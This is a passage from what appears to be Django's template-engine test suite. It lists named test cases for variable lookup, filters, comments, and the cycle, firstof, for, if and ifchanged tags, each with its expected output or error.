            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is supressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            #filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1','two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A','two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A & B &amp; C & D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1,2,3,4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '<'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a':0,'b':0,'c':0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a':1,'b':0,'c':0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a':0,'b':2,'c':0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a':0,'b':0,'c':3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a':1,'b':2,'c':3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b':0,'c':3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a':0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a':0,'b':0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '<'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            # Otherwise, silently truncate if the length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01':(""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04':(""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,2,3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,1)}, '1'),
